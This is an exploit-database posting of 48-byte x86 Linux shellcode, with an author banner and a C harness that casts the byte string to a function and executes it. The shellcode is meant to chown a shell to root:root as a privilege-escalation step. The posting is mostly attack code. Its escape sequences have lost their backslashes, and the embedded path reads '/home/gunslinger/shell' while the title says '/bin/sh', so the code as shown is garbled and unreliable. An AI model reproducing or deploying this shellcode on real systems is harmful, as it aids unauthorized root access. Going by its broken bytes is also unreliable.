[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : 48 bytes chown root:root /bin/sh x86 linux shellcode
# Published : 2010-06-06
# Author : gunslinger_
# Previous Title : Allwin MessageBoxA Shellcode
# Next Title : x86 linux hard / unclean reboot (29 bytes)


/*
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /'             __  /'__`        / __  /'__`                   0
0  /_,     ___   /_/_      ___  ,_/ /   _ ___           1
1  /_/  /' _ ` / /_/__<_  /'___  /    /`'__          0
0       / /    /   / __/  _  _   /           1
1       _ _ __   ____/ ____\ __\ ____/ _           0
0       /_//_//_/ _ /___/  /____/ /__/ /___/  /_/           1
1                   ____/ >> Exploit database separated by exploit   0
0                   /___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : Inj3ct0r.com                                  0
1  [+] Support e-mail  : submit[at]inj3ct0r.com                        1
0                                                                      0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1
Name   : 48 bytes chown root:root /bin/sh x86 linux shellcode
Date   : Sat Jun  5 15:32:40 2010
Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
Web    : http://devilzc0de.org
blog   : http://gunslingerc0de.wordpress.com
tested on : linux debian
special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
greetz to : flyff666, whitehat, ketek, chaer, peneter, and all devilzc0de crew
*/
#include <stdio.h>

char *shellcode=
		"xebx13"                    /* jmp    0x8048075 */
		"x31xc0"                    /* xor    %eax,%eax */
		"xb0xb6"                    /* mov    $0xb6,%al */
		"x5b"                        /* pop    %ebx */
		"x31xc9"                    /* xor    %ecx,%ecx */
		"x31xd2"                    /* xor    %edx,%edx */
		"xcdx80"                    /* int    $0x80 */
		"x31xc0"                    /* xor    %eax,%eax */
		"xb0x01"                    /* mov    $0x1,%al */
		"x31xdb"                    /* xor    %ebx,%ebx */
		"xcdx80"                    /* int    $0x80 */
		"xe8xe8xffxffxff"        /* call   0x8048062 */
		"x2f"                        /* das     */
		"x68x6fx6dx65x2f"        /* push   $0x2f656d6f */
		"x67x75x6e"                /* addr16 jne 0x80480f1 */
		"x73x6c"                    /* jae    0x80480f1 */
		"x69x6ex67x65x72x2fx73"/* imul   $0x732f7265,0x67(%esi),%ebp */
		"x68"                        /* .byte 0x68 */
		"x65"                        /* gs */
		"x6c"                        /* insb   (%dx),%es		"(%edi) */
		"x6c";                       /* insb   (%dx),%es		"(%edi) */

int main(void)
{
		fprintf(stdout,"Length: %dn",strlen(shellcode));
		((void (*)(void)) shellcode)();
		return 0;
}